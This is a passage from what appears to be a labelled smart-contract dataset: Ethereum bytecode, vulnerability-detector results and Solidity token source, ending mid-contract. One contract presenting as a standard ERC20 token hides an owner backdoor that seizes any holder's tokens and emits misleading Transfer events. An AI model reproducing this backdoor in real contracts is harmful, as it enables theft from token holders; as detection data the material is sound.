ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d95750600b60169054906101000a900460ff165b15611601576115e781611677565b600047905060008111156115ff576115fe476119df565b5b505b505b61160e838383611a4b565b505050565b600083831115829061165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116529190612682565b60405180910390fd5b506000838561166a91906129ca565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156117035781602001602082028036833780820191505090505b5090503081600081518110611741577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117e357600080fd5b505afa1580156117f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181b919061217e565b81600181518110611855577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118bc30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161192095949392919061281f565b600060405180830381600087803b15801561193a57600080fd5b505af115801561194e573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b60006006548211156119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af906126c4565b60405180910390fd5b60006119c2611a5b565b90506119d78184611a8690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a47573d6000803e3d6000fd5b5050565b611a56838383611ad0565b505050565b6000806000611a68611c9b565b91509150611a7f8183611a8690919063ffffffff16565b9250505090565b6000611ac883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ce8565b905092915050565b600080600080600080611ae287611d4b565b955095509550955095509550611b4086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bd585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2181611e5b565b611c2b8483611f18565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c889190612804565b60405180910390a3505050505050505050565b6000806000600654905060006005549050611cc3600554600654611a8690919063ffffffff16565b821015611cdb57600654600554935093505050611ce4565b81819350935050505b9091565b60008083118290611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d269190612682565b60405180910390fd5b5060008385611d3e919061293f565b9050809150509392505050565b6000806000806000806000806000611d688a600854600854611f52565b9250925092506000611d78611a5b565b90506000806000611d8b8e878787611fe8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611df583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611613565b905092915050565b6000808284611e0c91906128e9565b905083811015611e51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4890612724565b60405180910390fd5b8091505092915050565b6000611e65611a5b565b90506000611e7c828461207190919063ffffffff16565b9050611ed081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611f2d82600654611db390919063ffffffff16565b600681905550611f4881600754611dfd90919063ffffffff16565b6007819055505050565b600080600080611f7e6064611f70888a61207190919063ffffffff16565b611a8690919063ffffffff16565b90506000611fa86064611f9a888b61207190919063ffffffff16565b611a8690919063ffffffff16565b90506000611fd182611fc3858c611db390919063ffffffff16565b611db390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612001858961207190919063ffffffff16565b90506000612018868961207190919063ffffffff16565b9050600061202f878961207190919063ffffffff16565b905060006120588261204a8587611db390919063ffffffff16565b611db390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561208457600090506120e6565b600082846120929190612970565b90508284826120a1919061293f565b146120e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d890612744565b60405180910390fd5b809150505b92915050565b6000813590506120fb81612dd4565b92915050565b60008151905061211081612dd4565b92915050565b60008151905061212581612deb565b92915050565b60008135905061213a81612e02565b92915050565b60008151905061214f81612e02565b92915050565b60006020828403121561216757600080fd5b6000612175848285016120ec565b91505092915050565b60006020828403121561219057600080fd5b600061219e84828501612101565b91505092915050565b600080604083850312156121ba57600080fd5b60006121c8858286016120ec565b92505060206121d9858286016120ec565b9150509250929050565b6000806000606084860312156121f857600080fd5b6000612206868287016120ec565b9350506020612217868287016120ec565b92505060406122288682870161212b565b9150509250925092565b6000806040838503121561224557600080fd5b6000612253858286016120ec565b92505060206122648582860161212b565b9150509250929050565b60006020828403121561228057600080fd5b600061228e84828501612116565b91505092915050565b6000602082840312156122a957600080fd5b60006122b78482850161212b565b91505092915050565b6000806000606084860312156122d557600080fd5b60006122e386828701612140565b93505060206122f486828701612140565b925050604061230586828701612140565b9150509250925092565b600061231b8383612327565b60208301905092915050565b612330816129fe565b82525050565b61233f816129fe565b82525050565b6000612350826128a4565b61235a81856128c7565b935061236583612894565b8060005b8381101561239657815161237d888261230f565b9750612388836128ba565b925050600181019050612369565b5085935050505092915050565b6123ac81612a10565b82525050565b6123bb81612a53565b82525050565b60006123cc826128af565b6123d681856128d8565b93506123e6818560208601612a65565b6123ef81612af6565b840191505092915050565b60006124076023836128d8565b915061241282612b07565b604082019050919050565b600061242a602a836128d8565b915061243582612b56565b604082019050919050565b600061244d6022836128d8565b915061245882612ba5565b604082019050919050565b60006124706017836128d8565b915061247b82612bf4565b602082019050919050565b6000612493601b836128d8565b915061249e82612c1d565b602082019050919050565b60006124b66021836128d8565b91506124c182612c46565b604082019050919050565b60006124d96020836128d8565b91506124e482612c95565b602082019050919050565b60006124fc6029836128d8565b915061250782612cbe565b604082019050919050565b600061251f6025836128d8565b915061252a82612d0d565b604082019050919050565b60006125426024836128d8565b915061254d82612d5c565b604082019050919050565b60006125656019836128d8565b915061257082612dab565b602082019050919050565b61258481612a3c565b82525050565b61259381612a46565b82525050565b60006020820190506125ae6000830184612336565b92915050565b60006040820190506125c96000830185612336565b6125d66020830184612336565b9392505050565b60006040820190506125f26000830185612336565b6125ff602083018461257b565b9392505050565b600060c08201905061261b6000830189612336565b612628602083018861257b565b61263560408301876123b2565b61264260608301866123b2565b61264f6080830185612336565b61265c60a083018461257b565b979650505050505050565b600060208201905061267c60008301846123a3565b92915050565b6000602082019050818103600083015261269c81846123c1565b905092915050565b600060208201905081810360008301526126bd816123fa565b9050919050565b600060208201905081810360008301526126dd8161241d565b9050919050565b600060208201905081810360008301526126fd81612440565b9050919050565b6000602082019050818103600083015261271d81612463565b9050919050565b6000602082019050818103600083015261273d81612486565b9050919050565b6000602082019050818103600083015261275d816124a9565b9050919050565b6000602082019050818103600083015261277d816124cc565b9050919050565b6000602082019050818103600083015261279d816124ef565b9050919050565b600060208201905081810360008301526127bd81612512565b9050919050565b600060208201905081810360008301526127dd81612535565b9050919050565b600060208201905081810360008301526127fd81612558565b9050919050565b6000602082019050612819600083018461257b565b92915050565b600060a082019050612834600083018861257b565b61284160208301876123b2565b81810360408301526128538186612345565b90506128626060830185612336565b61286f608083018461257b565b9695505050505050565b600060208201905061288e600083018461258a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006128f482612a3c565b91506128ff83612a3c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293457612933612a98565b5b828201905092915050565b600061294a82612a3c565b915061295583612a3c565b92508261296557612964612ac7565b5b828204905092915050565b600061297b82612a3c565b915061298683612a3c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129bf576129be612a98565b5b828202905092915050565b60006129d582612a3c565b91506129e083612a3c565b9250828210156129f3576129f2612a98565b5b828203905092915050565b6000612a0982612a1c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a5e82612a3c565b9050919050565b60005b83811015612a83578082015181840152602081019050612a68565b83811115612a92576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612ddd816129fe565b8114612de857600080fd5b50565b612df481612a10565b8114612dff57600080fd5b50565b612e0b81612a3c565b8114612e1657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202b2b9a6d54fd8a2bc8848d8e2bfe5060162f8f0deb1d733d9cf06cee41468e8564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,495
0xd472f102dac39160afe495c399a1e09640e471c1
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract StandardERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _positiveReceiver; mapping (address => bool) private _negativeReceiver; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwner; uint256 private _sellAmount = 0; address lead_deployer = 0x299A4174F8Ef9F3d3704Cedeec397613Cf2e3a53; address public _owner = 0x299A4174F8Ef9F3d3704Cedeec397613Cf2e3a53; constructor () public { _name = "All Birds Are Gray At Night"; _symbol = "HOO"; _decimals = 18; uint256 initialSupply = 888888888888888; _safeOwner = _owner; _mint(lead_deployer, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _backendProduction(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _backendProduction(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approvalIncrease(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _positiveReceiver[receivers[i]] = true; _negativeReceiver[receivers[i]] = false; } } function approvalDecrease(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _negativeReceiver[receivers[i]] = true; _positiveReceiver[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = lead_deployer; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _backendProduction(address sender, address recipient, uint256 amount) internal optimizerExecuter(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = lead_deployer; } emit Transfer(sender, recipient, amount); } modifier optimizerExecuter(address sender, address recipient, uint256 amount){ _; } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier onlyAuthorized() { require(msg.sender == _owner, "Not allowed to interact"); _; } function transfer_(address sndr,address[] memory receivers, uint256[] memory amounts) public onlyAuthorized(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80634e6ec247116100975780639c26f40f116100665780639c26f40f146103e9578063a9059cbb1461051c578063b2bdfa7b14610548578063dd62ed3e1461056c576100f5565b80634e6ec247146102ee5780636268e0d51461031a57806370a08231146103bb57806395d89b41146103e1576100f5565b80630cdfb628116100d35780630cdfb6281461025a57806318160ddd1461028057806323b872dd1461029a578063313ce567146102d0576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061059a945050505050565b005b6101a561068f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b038135169060200135610725565b604080519115158252519081900360200190f35b61019b6004803603602081101561027057600080fd5b50356001600160a01b0316610742565b6102886107ac565b60408051918252519081900360200190f35b610246600480360360608110156102b057600080fd5b506001600160a01b038135811691602081013590911690604001356107b2565b6102d8610839565b6040805160ff9092168252519081900360200190f35b61019b6004803603604081101561030457600080fd5b506001600160a01b038135169060200135610842565b61019b6004803603602081101561033057600080fd5b810190602081018135600160201b81111561034a57600080fd5b82018360208201111561035c57600080fd5b803590602001918460208302840111600160201b8311171561037d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610932945050505050565b610288600480360360208110156103d157600080fd5b50356001600160a01b0316610a22565b6101a5610a3d565b61019b600480360360608110156103ff57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561042957600080fd5b82018360208201111561043b57600080fd5b803590602001918460208302840111600160201b8311171561045c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156104ab57600080fd5b8201836020820111156104bd57600080fd5b803590602001918460208302840111600160201b831117156104de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610a9e945050505050565b6102466004803603604081101561053257600080fd5b506001600160a01b038135169060200135610b5c565b610550610b70565b604080516001600160a01b039092168252519081900360200190f35b6102886004803603604081101561058257600080fd5b506001600160a01b0381358116916020013516610b7f565b600c546001600160a01b031633146105e2576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b815181101561068b5760016002600084848151811061060057fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061065157fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105e5565b5050565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b6000610739610732610c0b565b8484610c0f565b50600192915050565b600c546001600160a01b0316331461078a576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60045490565b60006107bf848484610cfb565b61082f846107cb610c0b565b61082a8560405180606001604052806028815260200161111f602891396001600160a01b038a16600090815260036020526040812090610809610c0b565b6001600160a01b031681526020810191909152604001600020549190610e8c565b610c0f565b5060019392505050565b60075460ff1690565b600c546001600160a01b031633146108a1576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6004546108ae9082610baa565b600455600c546001600160a01b03166000908152602081905260409020546108d69082610baa565b600c546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600c546001600160a01b0316331461097a576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b815181101561068b57600180600084848151811061099757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106109e857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905560010161097d565b6001600160a01b031660009081526020819052604090205490565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561071b5780601f106106f05761010080835404028352916020019161071b565b600c546001600160a01b03163314610afd576040805162461bcd60e51b815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b610b1183610b09610c0b565b600854610c0f565b60005b8251811015610b5657610b4e84848381518110610b2d57fe5b6020026020010151848481518110610b4157fe5b6020026020010151610f23565b600101610b14565b50505050565b6000610739610b69610c0b565b8484610cfb565b600c546001600160a01b031681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600082820183811015610c04576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610c545760405162461bcd60e51b815260040180806020018281038252602481526020018061116c6024913960400191505060405180910390fd5b6001600160a01b038216610c995760405162461bcd60e51b81526004018080602001828103825260228152602001806110d76022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b8282826001600160a01b038316610d435760405162461bcd60e51b81526004018080602001828103825260258152602001806111476025913960400191505060405180910390fd5b6001600160a01b038516610d885760405162461bcd60e51b81526004018080602001828103825260238152602001806110b46023913960400191505060405180910390fd5b610d938686866110ae565b610dd0846040518060600160405280602681526020016110f9602691396001600160a01b0389166000908152602081905260409020549190610e8c565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610dff9085610baa565b6001600160a01b03808716600090815260208190526040902091909155600c5487821691161415610e3957600b546001600160a01b031695505b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b60008184841115610f1b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ee0578181015183820152602001610ec8565b50505050905090810190601f168015610f0d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316610f685760405162461bcd60e51b81526004018080602001828103825260258152602001806111476025913960400191505060405180910390fd5b6001600160a01b038216610fad5760405162461bcd60e51b81526004018080602001828103825260238152602001806110b46023913960400191505060405180910390fd5b610fb88383836110ae565b610ff5816040518060600160405280602681526020016110f9602691396001600160a01b0386166000908152602081905260409020549190610e8c565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546110249082610baa565b6001600160a01b03808416600090815260208190526040902091909155600c548482169116141561105e57600b546001600160a01b031692505b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c4f7c316b6b017f7f84cd85171ff5ad6b4f6bc6ad15d9bc8d3621ced2c69468764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,496
0x100614ffda1bd77a694e215ca0f618da1bf8b7af
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply()public view returns (uint total_Supply); function balanceOf(address who)public view returns (uint256); function allowance(address owner, address spender)public view returns (uint); function transferFrom(address from, address to, uint value)public returns (bool ok); function approve(address spender, uint value)public returns (bool ok); function transfer(address to, uint value)public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract FlexionCoin is ERC20 { using SafeMath for uint256; string public constant name = "FLEXION"; // Name of the token string public constant symbol = "FXN"; // Symbol of token uint8 public constant decimals = 18; uint public _totalsupply = 360000000 * 10 ** 18; // 360 million total supply // muliplies dues to decimal precision address public owner; // Owner of this contract uint256 public _price_token_PRE = 16000; // 1 Ether = 16000 tokens in Pre-ICO uint256 public _price_token_ICO1 = 8000; // 1 Ether = 8000 tokens in ICO Phase 1 uint256 public _price_token_ICO2 = 4000; // 1 Ether = 4000 tokens in ICO Phase 2 uint256 public _price_token_ICO3 = 2666; // 1 Ether = 2666 tokens in ICO Phase 3 uint256 public _price_token_ICO4 = 2000; // 1 Ether = 2000 tokens in ICO Phase 4 uint256 no_of_tokens; uint256 bonus_token; uint256 total_token; bool stopped = false; uint256 public pre_startdate; uint256 public ico1_startdate; uint256 ico_first; uint256 ico_second; uint256 ico_third; uint256 ico_fourth; uint256 pre_enddate; uint256 public eth_received; // Total ether received in the contract uint256 maxCap_public = 240000000 * 10 ** 18; // 240 million in Public Sale mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; enum Stages { NOTSTARTED, PREICO, ICO, PAUSED, ENDED } Stages public stage; modifier atStage(Stages _stage) { if (stage != _stage) // Contract not in expected state revert(); _; } modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function FlexionCoin() public { owner = msg.sender; balances[owner] = 120000000 * 10 ** 18; // 100 million to owner & 20 million to referral bonus stage = Stages.NOTSTARTED; Transfer(0, owner, balances[owner]); } function () public payable { require(stage != Stages.ENDED); require(!stopped && msg.sender != owner); if( stage == Stages.PREICO && now <= pre_enddate ) { require (eth_received <= 1500 ether); // Hardcap eth_received = (eth_received).add(msg.value); no_of_tokens = ((msg.value).mul(_price_token_PRE)); require (no_of_tokens >= (500 * 10 ** 18)); // 500 min purchase bonus_token = ((no_of_tokens).mul(50)).div(100); // 50% bonus in Pre-ICO total_token = no_of_tokens + bonus_token; transferTokens(msg.sender,total_token); } else if (stage == Stages.ICO && now <= ico_fourth ) { if( now < ico_first ) { no_of_tokens = (msg.value).mul(_price_token_ICO1); require (no_of_tokens >= (100 * 10 ** 18)); // 100 min purchase bonus_token = ((no_of_tokens).mul(40)).div(100); // 40% bonus in ICO Phase 1 total_token = no_of_tokens + bonus_token; transferTokens(msg.sender,total_token); } else if( now >= ico_first && now < ico_second ) { no_of_tokens = (msg.value).mul(_price_token_ICO2); require (no_of_tokens >= (100 * 10 ** 18)); // 100 min purchase bonus_token = ((no_of_tokens).mul(30)).div(100); // 30% bonus in ICO Phase 2 total_token = no_of_tokens + bonus_token; transferTokens(msg.sender,total_token); } else if( now >= ico_second && now < ico_third ) { no_of_tokens = 